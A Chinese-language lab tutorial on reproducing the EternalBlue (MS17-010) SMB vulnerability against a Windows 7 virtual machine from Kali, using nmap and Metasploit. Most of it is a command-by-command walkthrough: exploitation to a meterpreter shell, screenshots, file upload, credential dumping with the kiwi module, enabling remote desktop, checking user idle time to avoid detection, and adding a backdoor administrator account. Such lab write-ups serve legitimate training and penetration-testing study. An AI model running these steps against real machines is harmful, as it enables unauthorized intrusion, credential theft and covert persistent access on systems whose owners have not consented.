一、永恆之藍概述
永恆之藍(Eternal Blue)爆發於 2017 年 4 月 14 日晚,是一種利用 Windows 系統的 SMB 協議漏洞來獲取系統的最高權限,以此來控制被入侵的計算機。甚至於 2017 年 5 月 12 日,不法分子通過改造 “永恆之藍” 製作了 wannacry 程序,使全世界大範圍內遭受了該程序,甚至波及到學校、大型企業、政府等機構,只能通過支付高額的贖金才能恢復出文件。但不過在該程序出來不久就被微軟通過打補丁修復了。
二、SMB 協議
SMB(Server Message Block)是一個協議伺服器信息塊,它是一種客戶機 / 伺服器、請求 / 響應協議,通過 SMB 協議可以在計算機間共享文件、打印機、命名管道等資源,電腦上的網上鄰居就是靠 SMB 實現的;SMB 協議工作在應用層和會話層,可以用在 TCP/IP 協議之上,SMB 使用 TCP139 端口和 TCP445 端口。
三、準備工作
虛擬機:VMware
靶機:Windows 7 (IP:192.168.184.138) 鏡像下載 https://msdn.itellyou.cn/
攻擊機:Kali (IP:192.168.184.130)
工具:Kali 中的 nmap metasploit (MSF)
四、漏洞復現
1、主機發現
a. 前提 win7 關閉防火牆
不關閉防火牆有可能 nmap 掃描不到其端口,MSF 利用不了永恆之藍漏洞。
可以 ipconfig ifconfig 分別查看 win7 和 kali 中的 ip 地址:
win7
2. 用 kali 中的 nmap 掃描網段做主機發現
IP 地址:<網絡號>+< 主機號 >
A 類:10.0.0.0~10.255.255.255
B 類:172.16.0.0~173.31.255.255
C 類:192.168.0.0~192.168.255.255
/24 就是代表 24 個 1,即子網掩碼為 255.255.255.0
192.168.184.0/24 “/” 後面的數字控制前面 ip 地址的掩碼,以表示後面有幾位可以變
nmap -sP 192.168.184.0/24 #sP(ping掃描)
3. 用 kali 中的 metasploit (MSF) 做主機發現
msfconsole //啟動MSF
use auxiliary/scanner/discovery/arp_sweep //use使用模塊
set rhosts 192.168.184.0/24 //設置掃描網段
set threads 50 //提高線程
run //運行
MSF 搜索永恆之藍的漏洞 輸入 search ms17-010 (微軟 永恆之藍編號 ms17-010)
-
blue 就是永恆之藍的漏洞
-
psexec 是可利用的一個 javascripe(JS)的模塊
-
command 是運行 cmd 的
-
最後一個是探測的模塊
a. 我們先利用探測的模塊看一下我們的這台 win7 有沒有可能存在漏洞。
use exploit/windows/smb/ms17_010_eternalblue
show options
set rhosts 192.168.184.138
exploit/run
運行成功會出現 meterpreter >
Meterpreter 是 Metasploit 的一個擴展模塊,可以調用 Metasploit 的一些功能,對目標系統進行更深入的滲透,如進入 cmd、獲取螢幕、上傳 / 下載文件、創建持久後門等。
meterpreter > shell
chcp 65001 //轉換一下編碼 要不然會亂碼
ipconfig #查看ip
whoami #查看當前用戶名稱
2. 捕獲螢幕
meterpreter > screenshot #螢幕截圖
3. 上傳文件
meterpreter > upload user.txt c://
5. 遠程登錄
kiwi 模塊查看密碼:
使用 kiwi 模塊需要 system 管理員權限:
meterpreter > load kiwi //加載kiwi模塊
Loading extension kiwi...Success.
creds_all #列舉所有憑據
exit #退出
MSF 啟動目標機的 3389 端口
windows 遠程連接默認是不允許連接的:
我們總不能手動在 win7 上允許遠程連接吧,這樣我們怎麼能算得上 Hacker 呢,哈哈哈...
啟動 win7 的 3389 端口即遠程桌面協議,執行遠程鏈接命令:
meterpreter > run post/windows/manage/enable_rdp //啟用目標主機的3389端口遠程桌面
meterpreter > idletime //查看遠程用戶的空閒時長,空閒時間長再進行遠程登錄,減小被發現的風險。
root@kali:~# rdesktop 192.168.184.138 //使用 rdesktop 命令遠程連接桌面
由於這樣我們遠程登錄 win7 用戶,在 win7 會把用戶 k 頂下去:
創建用戶:
所以我們要創建一個新用戶用來登錄:
meterpreter > shell #進入命令行
net user kill 123 /add #新建用戶kill 密碼123
net localgroup administrators kill /add #將用戶kill添加到Win7的本地管理員組中,獲得管理員權限
net user #查看用戶
root@kali:~# rdesktop 192.168.184.138 //使用 rdesktop 命令遠程連接桌面